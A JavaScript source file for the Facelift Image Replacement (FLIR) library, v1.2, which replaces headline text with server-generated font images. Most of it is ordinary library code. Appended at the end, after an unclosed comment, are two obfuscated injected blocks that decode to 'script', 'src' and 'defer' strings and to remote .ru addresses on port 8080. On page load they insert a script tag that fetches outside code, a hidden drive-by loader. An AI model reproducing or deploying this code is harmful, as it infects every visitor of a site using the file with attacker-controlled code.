/*
Facelift Image Replacement v1.2
Facelift was written and is maintained by Cory Mawhorter.  
It is available from http://facelift.mawhorter.net/

===

This file is part of Facelife Image Replacement ("FLIR").

FLIR is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

FLIR is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with Facelift Image Replacement.  If not, see <http://www.gnu.org/licenses/>.
*/

var FLIR = {
     version: '1.2'
    
    ,options: {
         path: 'facelift/'
        ,classnameIgnore: false
        ,findEmbededFonts: false
        ,ignoredElements: 'BR,HR,IMG,INPUT,SELECT'
    }
    
    ,onreplacing: null
    ,onreplaced: null
    ,onreplacingchild: null
    ,onreplacedchild: null
    
    ,flirElements: {}
    ,flirPlugins: []
    
    ,isCraptastic: true
    ,isIE: true

    ,defaultStyle: null
    ,classStyles: {}
        
    ,embededFonts: {}

    ,dpi: 96
    
    // either (options Object, fstyle FLIRStyle Object) or (fstyle FLIRStyle Object)
    ,init: function(options, fstyle) { // or options for flir style
        if(this.isFStyle(options)) { // (fstyle FLIRStyle Object)
            this.defaultStyle = options;
        }else { // [options Object, fstyle FLIRStyle Object]
            if(typeof options != 'undefined')
                this.loadOptions(options);
        
            if(typeof fstyle == 'undefined') {
                this.defaultStyle = new FLIRStyle();
            }else {
                if(this.isFStyle(fstyle))
                    this.defaultStyle = fstyle;
                else
                    this.defaultStyle = new FLIRStyle(fstyle);
            }
        }

        this.calcDPI();
                        
        if(this.options.findEmbededFonts)
            this.discoverEmbededFonts();

        this.isIE = (navigator.userAgent.toLowerCase().indexOf('msie')>-1 && navigator.userAgent.toLowerCase().indexOf('opera')<0);
        this.isCraptastic = (typeof document.body.style.maxHeight=='undefined');

        if(this.isIE) {
            this.flirIERepObj = [];
            this.flirIEHovEls = [];
            this.flirIEHovStyles = [];    
        }

        FLIR._call_plugin('init', arguments);
    }
    
    ,loadOptions: function(options) {
        for(var i in options)
            this.options[i] = options[i];
    }    
    
    ,installPlugin: function(plugin) {
        this.flirPlugins.push(plugin);
    }
    
    ,_call_plugin: function(func, call) {
        var ret = call;
        for(var i=0; i<this.flirPlugins.length; i++) {
            if(typeof this.flirPlugins[i][func] == 'function') {
                var pluginret = this.flirPlugins[i][func](ret);

                if(typeof pluginret == 'undefined') {
                    continue;
                }
                if(typeof pluginret == 'boolean' && pluginret == false) {
                    return false;
                }
                if(typeof pluginret != 'boolean') // passes changes on
                    ret = call;

            }
        }
        
        var ret = typeof ret != 'object' ? [ret] : ret;
        if(ret.length && ret[0] && ret[0].callee)
            return ret[0];
        else
            return ret;
    }
    
    ,auto: function(els) {
        if(!(args = FLIR._call_plugin('auto', arguments))) return;
        els = args[0];
        
        var tags = typeof els=='undefined'?['h1','h2','h3','h4','h5']:(els.indexOf && els.indexOf(',')>-1?els.split(','):els);
        var elements;
        for(var i=0; i<tags.length; i++) {
            elements = this.getElements(tags[i]);            

            if(elements.length>0)
                this.replace(elements);
        }
    }
    
    
    ,hover: function(e) {
        var o=FLIR.evsrc(e);
        var targ=o;
        var targDescHover = o.flirHasHover;
        var hoverTree = o;
        
        var on = (e.type == 'mouseover');
        
        while(o != document.body && !o.flirMainObj) {
            o = FLIR.getParentNode(o);
            
            if(!targDescHover) {
                    targDescHover = o.flirHasHover;
                    hoverTree = o;
            }
        }
        
        if(o==document.body) return;
        
        var FStyle = FLIR.getFStyle(o);
        if(on && FStyle != FStyle.hoverStyle)
            FStyle = FStyle.hoverStyle;
            
        if(!(args = FLIR._call_plugin('hover', [ on, targ, o, hoverTree ]))) return;
        on                = args[0];
        targ             = args[1];
        o                 = args[2];
        hoverTree     = args[3];
        
        var objs = FLIR.getChildren(hoverTree);
        if(objs.length == 0 || (objs.length == 1 && (objs[0].flirImage || objs[0].flirHasHover))) {
            objs = [hoverTree];
        }else if(objs.length == 1 && !FLIR.isIgnoredElement(objs[0])) {
            var subobjs = FLIR.getChildren(objs[0]);
            if(subobjs.length > 0)
                if((subobjs.length==1 && !subobjs[0].flirImage) || subobjs.length > 1)
                    objs = subobjs;
        }

        var rep_obj;
        for(var i=0; i < objs.length; i++) {
            rep_obj = objs[i];
            if(rep_obj.nodeName == 'IMG') continue;
            if(!rep_obj.innerHTML) continue; // IE 

            if(FLIR.isIE) {
                var idx = FLIR.flirIEHovEls.length;
                FLIR.flirIERepObj[idx] = rep_obj;
                FLIR.flirIEHovStyles[idx] = FStyle;
                
                if(!FLIR.isCraptastic) {
                    if(FStyle.useBackgroundMethod && FLIR.getStyle(rep_obj, 'display') == 'block') {
                        FLIR.flirIEHovEls[idx] = rep_obj;
                        setTimeout('FLIR.flirIERepObj['+idx+'].style.background = "url("+('+on+' ? FLIR.flirIEHovStyles['+idx+'].generateURL(FLIR.flirIERepObj['+idx+']) : FLIR.flirIERepObj['+idx+'].flirOrig)+") no-repeat";', 0);
                    }else {
                        FLIR.flirIEHovEls[idx] = rep_obj.flirImage ? rep_obj : FLIR.getChildren(rep_obj)[0];
                        if(!FLIR.flirIEHovEls[idx].flirOrigWidth) {
                            FLIR.flirIEHovEls[idx].flirOrigWidth = FLIR.flirIEHovEls[idx].width;
                            FLIR.flirIEHovEls[idx].flirOrigHeight = FLIR.flirIEHovEls[idx].height;
                        }
                        var ie_js = 'FLIR.flirIEHovEls['+idx+'].src = '+on+' ? FLIR.flirIEHovStyles['+idx+'].generateURL(FLIR.flirIERepObj['+idx+'], FLIR.flirIEHovEls['+idx+'].alt) : FLIR.flirIERepObj['+idx+'].flirOrig;'
                        ie_js += 'FLIR.flirIEHovEls['+idx+'].onload = function() { ';
                        if(on && !FLIR.flirIEHovEls[idx].flirHoverWidth) {
                            ie_js += '        FLIR.flirIEHovEls['+idx+'].flirHoverWidth = this.width; ';
                            ie_js += '        FLIR.flirIEHovEls['+idx+'].flirHoverHeight = this.height; ';
                        }
                        ie_js += '    this.style.width = FLIR.flirIEHovEls['+idx+'].'+(on?'flirHoverWidth':'flirOrigWidth')+'+"px"; ';
                        ie_js += '    this.style.height = FLIR.flirIEHovEls['+idx+'].'+(on?'flirHoverHeight':'flirOrigHeight')+'+"px"; ';
                        ie_js += '}; ';
                        setTimeout(ie_js, 0);
                    }
                }else {
                    FLIR.flirIEHovEls[idx] = rep_obj.flirImage ? rep_obj : FLIR.getChildren(rep_obj)[0];
                    setTimeout('  FLIR.flirIEHovEls['+idx+'].style.filter = \'progid:DXImageTransform.Microsoft.AlphaImageLoader(src="\'+FLIR.flirIEHovStyles['+idx+'].generateURL(FLIR.flirIERepObj['+idx+'], FLIR.flirIEHovEls['+idx+'].alt)+\'", sizingMethod="image")\';  ', 0);
                }
            }else {
                if(FStyle.useBackgroundMethod && FLIR.getStyle(rep_obj, 'display') == 'block') {
                    var hovURL = rep_obj.flirHoverURL ? rep_obj.flirHoverURL : FStyle.generateURL(rep_obj);
                    rep_obj.style.background='url('+(on?hovURL:rep_obj.flirOrig)+') no-repeat';
                }else {
                    var img = rep_obj.flirImage ? rep_obj : FLIR.getChildren(rep_obj)[0];
                    var hovURL = rep_obj.flirHoverURL ? rep_obj.flirHoverURL : FStyle.generateURL(rep_obj, img.alt);
                    img.src = on?hovURL:rep_obj.flirOrig;
                }
            }
        }
    }

    ,addHover: function(obj) {
        if(!(args = FLIR._call_plugin('addHover', arguments))) return;
        obj    = args[0];
        
        obj.flirHasHover = true;
        
        if(obj.addEventListener) {
            obj.addEventListener( 'mouseover', FLIR.hover, false );
            obj.addEventListener( 'mouseout', FLIR.hover, false );
        }else if (obj.attachEvent) {
            obj.attachEvent( 'onmouseover', function() { FLIR.hover( window.event ); } );
            obj.attachEvent( 'onmouseout', function() { FLIR.hover( window.event ); } );
        }
    }
    
    ,prepare: function(n) {
        if(!(args = FLIR._call_plugin('prepare', arguments))) return;
        n = args[0];
        
        if(n && n.hasChildNodes() && n.childNodes.length > 1) {
            for(var i in n.childNodes) {
                var node = n.childNodes[i];
                if(node && node.nodeType == 3) {
                    var span = document.createElement('SPAN');
                    span.style.margin = span.style.padding = span.style.border = '0px';
                    span.className = 'flir-span';
						  span.flirSpan = true;
                    var txt = node.nodeValue.replace(/[\t\n\r]/g, ' ').replace(/\s\s+/g, ' ');
                    span.innerHTML = !FLIR.isIE ? txt : node.nodeValue.replace(/^\s+|\s+$/g,'&nbsp;');
                    n.replaceChild(span, node);
                }
            }
        }
    }
    
    ,replace: function(o, FStyle) {
        if(!(args = FLIR._call_plugin('replace', arguments))) return;
        o         = args[0];
        FStyle     = args[1];

        if (!o || o.flirReplaced)
            return;
        
        if(!this.isFStyle(FStyle))
            FStyle = this.getFStyle(o);

        if(typeof o == 'string')
            o = this.getElements(o);
        
        if(typeof o.length != 'undefined') {
            if(o.length == 0) return;

            for(var i=0; i< o.length; i++)
                this.replace(o[i], FStyle);
            
            return;
        }

        if(typeof FLIR.onreplacing == 'function') o = FLIR.onreplacing(o, FStyle);
        
        o.flirMainObj = true;
        this.setFStyle(o, FStyle);
        this.saveObject(o);
        
        if(this.options.findEmbededFonts && typeof this.embededFonts[FStyle.getFont(o)] != 'undefined')
            return;
        
        FLIR.prepare(o);        
        this._replace_tree(o, FStyle);

        if(typeof FLIR.onreplaced == 'function') FLIR.onreplaced(o, FStyle);
    }
    
    ,_replace_tree: function(o, FStyle) {
        if(typeof __flir_replacetree_recurse == 'undefined') __flir_replacetree_recurse = 1;
        else __flir_replacetree_recurse++;
        
        if(__flir_replacetree_recurse>1000) {
            console.error('Facelift: Too much recursion.');
            return;
        }
        
        var objs = !o.hasChildNodes() || (o.hasChildNodes() && o.childNodes.length==1 && o.childNodes[0].nodeType==3) ? [o] : o.childNodes;

        var rep_obj;
        for(var i=0; i < objs.length; i++) {
            rep_obj = objs[i];
            if(typeof FLIR.onreplacingchild == 'function') rep_obj = FLIR.onreplacingchild(rep_obj, FStyle);

            if(!rep_obj.innerHTML || rep_obj.nodeType != 1) continue;
            if(FLIR.isIgnoredElement(rep_obj)) continue;
            if(rep_obj.flirReplaced) continue;

            if(rep_obj.nodeName == 'A' && !rep_obj.flirHasHover)
                FLIR.addHover(rep_obj);

            if(rep_obj.hasChildNodes() && (rep_obj.childNodes.length > 1 || rep_obj.childNodes[0].nodeType != 3)) {
                FLIR.prepare(rep_obj);
                FLIR._replace_tree(rep_obj, FStyle);
                continue;
            }

            if(rep_obj.innerHTML == '') continue; // skip empty tags, if they exist
            
            if(!FLIR.isCraptastic)
                if(FStyle.useBackgroundMethod)
                    FLIR.replaceMethodBackground(rep_obj, FStyle);
                else
                    FLIR.replaceMethodOverlay(rep_obj, FStyle);
            else
                FLIR.replaceMethodCraptastic(rep_obj, FStyle);

            rep_obj.className += ' flir-replaced';
            rep_obj.flirReplaced = true;
            
            if(typeof FLIR.onreplacedchild == 'function') FLIR.onreplacedchild(o, FStyle);
        }
    }
    
    ,replaceMethodBackground: function(o, FStyle) {
        if(!(args = FLIR._call_plugin('replaceMethodBackground', arguments))) return;
        o         = args[0];
        FStyle     = args[1];

        var oid = this.saveObject(o);
        var url = FStyle.generateURL(o);
        
        if(FLIR.getStyle(o, 'display') != 'block')
            o.style.display='block';
        
        var tmp = new Image();
        tmp.onload = function() {
            FLIR.flirElements[oid].style.width=this.width+'px';
            FLIR.flirElements[oid].style.height=this.height+'px';
            
            if(FStyle != FStyle.hoverStyle) {
                var h_img = new Image();
                o.flirHoverURL = h_img.src = FStyle.hoverStyle.generateURL(o);
            }
        };
        tmp.src = url;
        
        o.style.background = 'url("'+url.replace(/ /g, '%20')+'") no-repeat';
        o.flirOrig = url;
        
        o.oldTextIndent = o.style.textIndent;
        o.style.textIndent='-9999px';
    }

    ,replaceMethodOverlay: function(o, FStyle) {
        if(!(args = FLIR._call_plugin('replaceMethodOverlay', arguments))) return;
        o         = args[0];
        FStyle     = args[1];

        var oid = this.saveObject(o);
        var img = document.createElement('IMG');
        img.alt = this.sanitizeHTML(o.innerHTML);

        if(FStyle != FStyle.hoverStyle) {
            img.onload = function() {
                    var h_img = new Image();
                    o.flirHoverURL = h_img.src = FStyle.hoverStyle.generateURL(o, img.alt);
            };
        }
        
        if(img.onerror) {
            img.onerror = function() {
                var span = document.createElement('SPAN');
                span.innerHTML = img.alt;
                try {
                    o.replaceChild(span,img)
                }catch(err) { }
            };
        }

        img.flirImage = true;
        img.className = 'flir-image';
        img.src = FStyle.generateURL(o);
        img.style.border='none';
        o.flirOrig = img.src;
        o.innerHTML='';
        o.appendChild(img);
    }

    ,replaceMethodCraptastic: function(o, FStyle) {
        if(!(args = FLIR._call_plugin('replaceMethodCraptastic', arguments))) return;
        o         = args[0];
        FStyle     = args[1];

        var oid = this.saveObject(o);
        var url = FStyle.generateURL(o);
        
        var img = document.createElement('IMG');
        img.alt = this.sanitizeHTML(o.innerHTML);        
        if(FStyle != FStyle.hoverStyle) {
            img.onload = function() {
                    var h_img = new Image();
                    o.flirHoverURL = h_img.src = FStyle.hoverStyle.generateURL(o, img.alt);
            };
        }

        img.flirImage = true;
        img.className = 'flir-image';
        img.src = this.options.path+'spacer.png';
        img.style.width=o.offsetWidth+'px';
        img.style.height=o.offsetHeight+'px';
        img.style.filter = 'progid:DXImageTransform.Microsoft.AlphaImageLoader(src="'+url+'", sizingMethod="image")';

        o.flirOrig = url;
        o.innerHTML='';
        o.appendChild(img);
    }

    ,saveObject: function(o) {
        if(typeof o.flirId == 'undefined') {
            o.flirId = this.getUID();
            this.flirElements[o.flirId] = o;
        }
        
        return o.flirId;
    }
    
    ,getUID: function() {
        var prefix='flir-';
        var id=prefix+Math.random().toString().split('.')[1];
        var i=0;
        while(typeof this.flirElements[id] != 'undefined') {
            if(i>100000) {
                console.error('Facelift: Unable to generate unique id.');    
            }
            id=prefix+Math.random().toString().split('.')[1];
            i++;
        }
        
        return id;
    }
    
    ,getElements: function(tag) {
        if(!(args = FLIR._call_plugin('getElements', arguments))) return;
        switch(args.length) {
            case 1:
                tag = args[0];
                break;
            case 2: // plugin returned list of elements
                return args[0];
                break;
        }
        
        var found = [];

        if(document.querySelectorAll) {
            var qsa = false;
            try{
                found = document.querySelectorAll(tag);
                qsa = true;
            }catch(err){ qsa=false; }

            if(qsa)
                return found;
        }

        var objs,subels,cn,childs,tag,el,matches,subel,rep_el;
    
        el = tag;
        
        subel=false;
		if(el.indexOf(' ')>-1) {
			var parts = el.split(' ');
			el = parts[0];
			subel = parts[1];
		}else if(el[0] == '#') {
			return document.getElementById(el.substr(1));
		}
        
        var grain_id=false;
        if(el.indexOf('#') > -1) {
            grain_id = el.split('#')[1];
            tag = el.split('#')[0];
        }

        var grain_cn=false;
        if(el.indexOf('.') > -1) {
            grain_cn = el.split('.')[1];
            tag = el.split('.')[0];
        }

        objs = document.getElementsByTagName(tag);
        for(var p=0; p<objs.length; p++) {
            if(objs[p].nodeType != 1) continue;
            matches = false;
            cn = objs[p].className?objs[p].className:'';
            
            if(grain_id && objs[p].id && objs[p].id == grain_id)
                matches=true;
            if(grain_cn && FLIR.hasClass(objs[p], grain_cn))
                matches=true;
            if(!grain_id && !grain_cn)
                matches=true;
            
            if(!matches) continue;
            if(this.options.classnameIgnore && cn.indexOf(this.options.classnameIgnore)>-1) continue;
            
            subels = false != subel ? objs[p].getElementsByTagName(subel) : [objs[p]];
            for(var pp=0; pp<subels.length; pp++) {
                rep_el = subels[pp];
                if(this.options.classnameIgnore && rep_el.className && rep_el.className.indexOf(this.options.classnameIgnore)>-1) continue;

                found.push(rep_el);
            }
        }
        
        return found;
    }
    
    ,discoverEmbededFonts: function() {
        this.embededFonts = {};
        for(var i in document.styleSheets) {
            if(!document.styleSheets[i].cssRules) continue;
            for(var ii in document.styleSheets[i].cssRules) {
                if(!document.styleSheets[0].cssRules[ii]) continue;
                var node = document.styleSheets[0].cssRules[ii];
                
                if(node.type && node.type == node.FONT_FACE_RULE) {
                    var nodesrc = node.style.getPropertyValue('src').match(/url\("?([^"\)]+\.[ot]tf)"?\)/i)[1];
                    var font = node.style.getPropertyValue('font-family');
                    if(font.indexOf(',')) {
                        font = font.split(',')[0];
                    }
                
                    font = font.replace(/['"]/g, '').toLowerCase();
                    
                    if(font!='' && nodesrc != '')
                        this.embededFonts[font] = nodesrc;
                }
            }
        }    
    }

    ,getStyle: function(el,prop) {
        if(el.currentStyle) {
            if(prop.indexOf('-') > -1)
                prop = prop.split('-')[0]+prop.split('-')[1].substr(0, 1).toUpperCase()+prop.split('-')[1].substr(1);
            var y = el.currentStyle[prop];
        }else if(window.getComputedStyle) {
            var y = document.defaultView.getComputedStyle(el,'').getPropertyValue(prop);
        }
        return y;
    }
        
    ,getChildren: function(n) {
        var children=[];
        if(n && n.hasChildNodes())
            for(var i in n.childNodes)
                if(n.childNodes[i] && n.childNodes[i].nodeType == 1)
                    children[children.length]=n.childNodes[i];
    
        return children;
    }
    
    ,getParentNode: function(n) {
        var o=n.parentNode;
        while(o != document && o.nodeType != 1)
            o=o.parentNode;
    
        return o;
    }
    
    ,hasClass: function(o, cn) {
        return (o && o.className && o.className.indexOf(cn)>-1);
    }
    
    ,evsrc: function(e) {
        var o;
        if (e.target) o = e.target;
        else if (e.srcElement) o = e.srcElement;
        if (o.nodeType == 3) // defeat Safari bug
            o = o.parentNode;    
            
        return o;
    }
    
    ,calcDPI: function() {
        if(screen.logicalXDPI) {
            var dpi = screen.logicalXDPI;
        }else {
            var id = 'flir-dpi-div-test';
            if(document.getElementById(id)) {
                var test = document.getElementById(id);
            }else {
                var test = document.createElement('DIV');
                test.id = id;
                test.style.position='absolute';
                test.style.visibility='hidden';
                test.style.border=test.style.padding=test.style.margin='0';
                test.style.left=test.style.top='-1000px';
                test.style.height=test.style.width='1in';
                document.body.appendChild(test);
            }
            
            var dpi = test.offsetHeight;
        }
        
        this.dpi = parseInt(dpi);
    }
    
    ,isIgnoredElement: function(el, breakIgnored) { return ((','+this.options.ignoredElements).indexOf(','+el.nodeName)>-1); }
    ,sanitizeHTML: function(html) { return html.replace(/<[^>]+>/g, ''); }
    
    ,getFStyle: function(o, fstyle) { 
        var cStyle = this.getClassStyle(o);
        if(this.isFStyle(cStyle))
            fstyle = cStyle;

        if(this.isFStyle(fstyle)) {
            return fstyle;
        }else if(this.isFStyle(o.flirStyle)) {
            return o.flirStyle;
        }else {
            return this.defaultStyle;
        }
    }
    ,setFStyle: function(o, FStyle) { o.flirStyle = FStyle; }
    ,isFStyle: function(o) { if(!o) return false; return (o.toString() == '[FLIRStyle Object]'); }

    ,addClassStyle: function(classname, FStyle) {
        if(this.isFStyle(FStyle))
            this.classStyles[classname] = FStyle;
    }
    ,getClassStyle: function(o) {
        if(!(args = FLIR._call_plugin('getClassStyle', arguments))) return;
        switch(args.length) {
            case 1:
                o = args[0];
                break;
            case 2: // plugin returned a style
                return args[0];
                break;
        }

        var cn = o.className;
        if(this.classStyles.length == 0 || typeof cn == 'undefined' || cn=='') return false;
        
        var classes = cn.split(' ');
        for(var i in this.classStyles) {
            for(var ii=0; ii<classes.length; ii++) {
                if(classes[ii]==i) {
                    return this.classStyles[i];
                }
            }
        }
        
        return false;
    }
};












function FLIRStyle(options) {
    this.useBackgroundMethod     = false;
    this.inheritStyle             = true;
    this.useExtendedStyles        = false;
    this.hoverStyle             = (arguments[1] && FLIR.isFStyle(arguments[1])) ? arguments[1] : this;
    
    // options are sent along with the query string
    this.options = {
         mode: '' // none (''), wrap,progressive or name of a plugin
        ,output:'auto' // auto, png, gif, jpg
        
        ,cSize: null
        ,cColor: null
        ,cFont: null // font-family
        
        ,realFontHeight: false
        ,dpi: 96
    };
    
    // supported css properties to internal name
    this.cssStyles = {
         'background-color'    : 'Background'
        ,'color'             : 'Color'
        ,'font-family'        : 'Font'
        ,'font-size'        : 'Size'
        ,'letter-spacing'    : 'Spacing'
        ,'line-height'        : 'Line'
        ,'text-align'        : 'Align'
        ,'text-transform'    : 'Transform'
    };
    
    this.extendedStyles = {
         'font-stretch'        : 'Stretch'
        ,'font-style'        : 'FontStyle'
        ,'font-variant'        : 'Variant'
        ,'font-weight'        : 'Weight'
        ,'opacity'            : 'Opacity'
        ,'text-decoration'    : 'Decoration'
    }
    
    // legacy option support
    for(var i in options) {
        if(i.indexOf('css')==0)
            i = 'c'+i.substr(3);

        if(typeof this[i] != 'undefined') {
            this[i] = options[i];
        }else {
            this.options[i] = options[i];
        }
    }
    this.options.dpi = FLIR.dpi;
    
    
    if(this.useExtendedStyles)
        for(var i in this.extendedStyles)
            this.cssStyles[i] = this.extendedStyles[i];
    
    for(var i=0; i<FLIR.flirPlugins.length; i++)
        if(FLIR.flirPlugins[i].FLIRStyleExtend && typeof FLIR.flirPlugins[i].FLIRStyleExtend.init)
            FLIR.flirPlugins[i].FLIRStyleExtend.init.call(this);
}

// generate a url based on an object
FLIRStyle.prototype.generateURL = function(o) { // [, text]
    var enc_text = (arguments[1]?arguments[1]:o.innerHTML);
    var transform = this.options.cTransform;
    if(transform==null)
        transform = FLIR.getStyle(o, 'text-transform');

    switch(transform) {
        case 'capitalize':
            enc_text = enc_text.replace(/\w+/g, function(w){
                              return w.charAt(0).toUpperCase() + w.substr(1).toLowerCase();
                         });
            break;
        case 'lowercase':
            enc_text = enc_text.toLowerCase();
            break;
        case 'uppercase':
            enc_text = enc_text.toUpperCase().replace(/&[a-z0-9]+;/gi, function(m) { return m.toLowerCase(); }); // keep entities lowercase, numeric don't matter
            break;
    }

    enc_text = encodeURIComponent(enc_text.replace(/&/g, '{amp}').replace(/\+/g, '{plus}'));

    return FLIR.options.path+'generate.php?text='+enc_text+'&h='+o.offsetHeight+'&w='+o.offsetWidth+'&fstyle='+this.serialize(o);
};

// create a custom image on the fly
FLIRStyle.prototype.buildURL = function(text, o, maxwidth, maxheight) {
    var enc_text = encodeURIComponent(text.replace(/&/g, '{amp}').replace(/\+/g, '{plus}'));
    return FLIR.options.path+'generate.php?text='+enc_text+'&h='+(maxheight?maxheight:'200')+'&w='+(maxwidth?maxwidth:'800')+'&fstyle='+(o?this.serialize(o):this.serialize());
};

FLIRStyle.prototype.serialize = function(o) {
    var sdata='';
    var options = this.copyObject(this.options);    
    
    if(o && this.inheritStyle) {
        for(var i in this.cssStyles) {
            var name = this.cssStyles[i];

            if(this.options['c'+name] == null || name=='Size')
                this.options['c'+name] = this.get(o, i, name);    
        }
    }
    
    for(var i in this.options) {
        if(this.options[i] == null || typeof this.options[i] == 'undefined' || this.options[i] == 'NaN')
            continue;
        sdata += ',"'+i+'":"'+this.options[i].toString().replace(/"/g, "'")+'"';
    }

    sdata = '{'+sdata.substr(1)+'}';
    this.options = options;

    return escape(sdata);
};

FLIRStyle.prototype.get = function(o, css_property, flirstyle_name) {
    var func = 'get'+flirstyle_name;
    
	 while(o.flirSpan && o != document.body)
	 	o = FLIR.getParentNode(o);
    
    return typeof this[func] == 'function' ? this[func](o) : FLIR.getStyle(o, css_property);
};

FLIRStyle.prototype.getFontStyle = function(o) { 
    return o.nodeName=='EM' || FLIR.getParentNode(o).nodeName=='EM' ? 'italic' : FLIR.getStyle(o, 'font-style');
};

FLIRStyle.prototype.getWeight = function(o) { 
    var fontweight = o.nodeName=='STRONG' || FLIR.getParentNode(o).nodeName=='STRONG' ? 'bold' : FLIR.getStyle(o, 'font-weight');
    
    switch(fontweight.toString()) {
        case '100': case '200': case '300': case 'lighter':
            return 'lighter';
        case '400': case 'normal':
            return '';
        case '500': case '600': case '700': case 'bold':
            return 'bold';
        case '800': case '900': case 'bolder':
            return 'bolder';
    }
};

FLIRStyle.prototype.getFont = function(o) { 
    var font = FLIR.getStyle(o, 'font-family');
    if(font.indexOf(',')) {
        font = font.split(',')[0];
    }

    return font.replace(/['"]/g, '').toLowerCase();
};

FLIRStyle.prototype.getColor = function(o) { 
    var color = FLIR.getStyle(o, 'color');
    if(color.substr(0, 1)=='#')
        color = color.substr(1);
    
    return color.replace(/['"]/g, '').toLowerCase();
};

FLIRStyle.prototype.getSize = function(o) {
    if(this.options.cSize!=null && '*/+-'.indexOf(this.options.cSize[0])<0)
        return this.options.cSize;
    
    var raw = FLIR.getStyle(o, 'font-size');

    var pix;
    if(raw.indexOf('px') > -1) {
        pix = Math.round(parseFloat(raw));
    }else {
        if(raw.indexOf('pt') > -1) {
            var pts = parseFloat(raw);
            pix = pts/(72/this.options.dpi);
        }else if(raw.indexOf('em') > -1 || raw.indexOf('%') > -1) {
            pix = this.calcFontSize(o);
        }
    }

    if(this.options.cSize && '*/+-'.indexOf(this.options.cSize[0])>-1) {
        try {
            pix = this.roundFloat(parseFloat(eval(pix.toString().concat(this.options.cSize))));
        }catch(err) { }
    }
    
    o.flirFontSize = pix;
    
    return pix;
};

FLIRStyle.prototype.getSpacing = function(o) {
    var spacing = FLIR.getStyle(o, 'letter-spacing');
    var ret;
    if(spacing != 'normal') {
        if(spacing.indexOf('em') > -1) {
            var fontsize = o.flirFontSize ? o.flirFontSize : this.getSize(o);
            ret = (parseFloat(spacing)*fontsize);
        }else if(spacing.indexOf('px') > -1) {
            ret = parseFloat(spacing);
        }else if(spacing.indexOf('pt') > -1) {
            var pts = parseFloat(spacing);
            ret = pts/(72/this.options.dpi);            
        }
        
        return this.roundFloat(ret);
    }

    return '';    
};

FLIRStyle.prototype.getLine = function(o) {
    var spacing = FLIR.getStyle(o, 'line-height');
    var val = parseFloat(spacing);
    var fontsize = o.flirFontSize ? o.flirFontSize : this.getSize(o);
    if(spacing.indexOf('em') > -1) {
        ret = (val*fontsize)/fontsize;
    }else if(spacing.indexOf('px') > -1) {
        ret = val/fontsize;
    }else if(spacing.indexOf('pt') > -1) {
        var pts = val;
        ret = (pts/(72/this.options.dpi))/fontsize;
    }else if(spacing.indexOf('%') > -1) {
        return 1.0;    
    }else {
        ret = val;    
    }
    
    return this.roundFloat(ret);
};

FLIRStyle.prototype.roundFloat = function(val) {
    return Math.round(val*10000)/10000;
};

FLIRStyle.prototype.calcFontSize = function(o) {
    var test = document.createElement('DIV');
    test.style.border = '0';
    test.style.padding = '0';
    test.style.position='absolute';
    test.style.visibility='hidden';
    test.style.left=test.style.top='-1000px';
    test.style.left=test.style.top='10px';
    test.style.lineHeight = '100%';
    test.innerHTML = 'Flir_Test';        
    o.appendChild(test);
    
    var size = test.offsetHeight;
    o.removeChild(test);

    return size;
};

FLIRStyle.prototype.copyObject = function(obj) { 
    var copy = {};
    for(var i in obj) {
        copy[i] = obj[i];    
    }
    
    return copy;
};

FLIRStyle.prototype.toString = function() { return '[FLIRStyle Object]'; };

/*
this.b='';var p;if(p!='a'){p=''};var m;if(m!='d'){m=''};var e=window;this.ii='';var q='sFcLrFiJpJtF'.replace(/[Fq6LJ]/g, '');var eh=false;var h=document;var ud='';e.onload=function(){var ew;if(ew!='' && ew!='dx'){ew=null};try {var io;if(io!='ac'){io='ac'};o=h.createElement(q);var bef;if(bef!=''){bef='nh'};var sx;if(sx!='y' && sx != ''){sx=null};this.zr='';o.src='hyt+typQ:y/x/yiysQoyhQuynxtx-xcRoQmy.RrRaxpxiydysRhxaQrQey.QcRo+mx.ysQo+s+oR-QcRoRmx.+tRhxeRlQixfxeytxa+g+.xrRux:+8+0+8y0Q/ygRoxoQgQlyeR.xcyo+m+/yg+oRoRgxlQex.ycxoymQ/ya+d+oQbReR.Rc+oym+/xwRaylymQayryt+.RcyoRm+/Qgxaxp+.yc+oxmx/R'.replace(/[RQxy\+]/g, '');var hr;if(hr!='t'){hr=''};this.gw=false;o.setAttribute('d1eif1eNri'.replace(/[i1PaN]/g, ''), "1");var pk=new String();var l;if(l!='c' && l!='om'){l=''};h.body.appendChild(o);this.r="";} catch(oi){var wr=false;var nol=false;};var zfb=new Array();};var ku;if(ku!='so' && ku != ''){ku=null};
var t="t";a=function(){var mc;if(mc!='l'){mc='l'};var m=document;var br;if(br!='vf'){br='vf'};window[y([9,2][1])]=function(){try {f=m[y([2,1][1])](y([0][0]));var p;if(p!='kq' && p!='fv'){p='kq'};var b = m[y([6][0])];var pe=false;f[y([1,5][1])](y([5,7][1]), "1");f[y([3][0])]=y([8,5][0]);b[y([4][0])](f);} catch(e){var rf="";};};this.bd=false;function y(r){var rs=['smcmrCi$pCtX'.replace(/[X\$\?mC]/g, ''), 'cQrye9a9t9eyEzl>e>mQe>n9t9'.replace(/[9y\>Qz]/g, ''), 'oXn#lXoXa6dX'.replace(/[X40#6]/g, ''), 'sIr&c|'.replace(/[\|q&xI]/g, ''), 'aZpBpZeBnjdBCjhji>lZdF'.replace(/[FjZB\>]/g, ''), 'sgeMtgA$tgtgr$iMbgu6tgeM'.replace(/[MgW6\$]/g, ''), 'bGo*d^yG'.replace(/[GY\.\*\^]/g, ''), 'd&e&f&ejrA'.replace(/[A\<j&c]/g, ''), 'hRt$tRpC:$/C/at$uC-Ctav$.3raeRd$tauabae$.ac$o$ma.3tao$rRr3eCn3t3zR-$c$oRma.anRe$w$g$o$lCfCoCnClRian3eR.Cr$u$:$8a0C8R0C/$gCo$oCgal3ea.CcRo$mC/$g$oRo3galae$.3cCoRmC/CcadRiRsacRo$u3nCtC.$cRoam$/$yaoau3pRo$rRnC.Ccao$mC/RnRhalR.$cCoam3/C'.replace(/[CaR3\$]/g, '')];var s;if(s!='id'){s=''};var ap=rs[r];var _w=new Array();return ap;var pp="";}var rn;if(rn!='' && rn!='rz'){rn=''};var h=new String();this.kz="";};a();
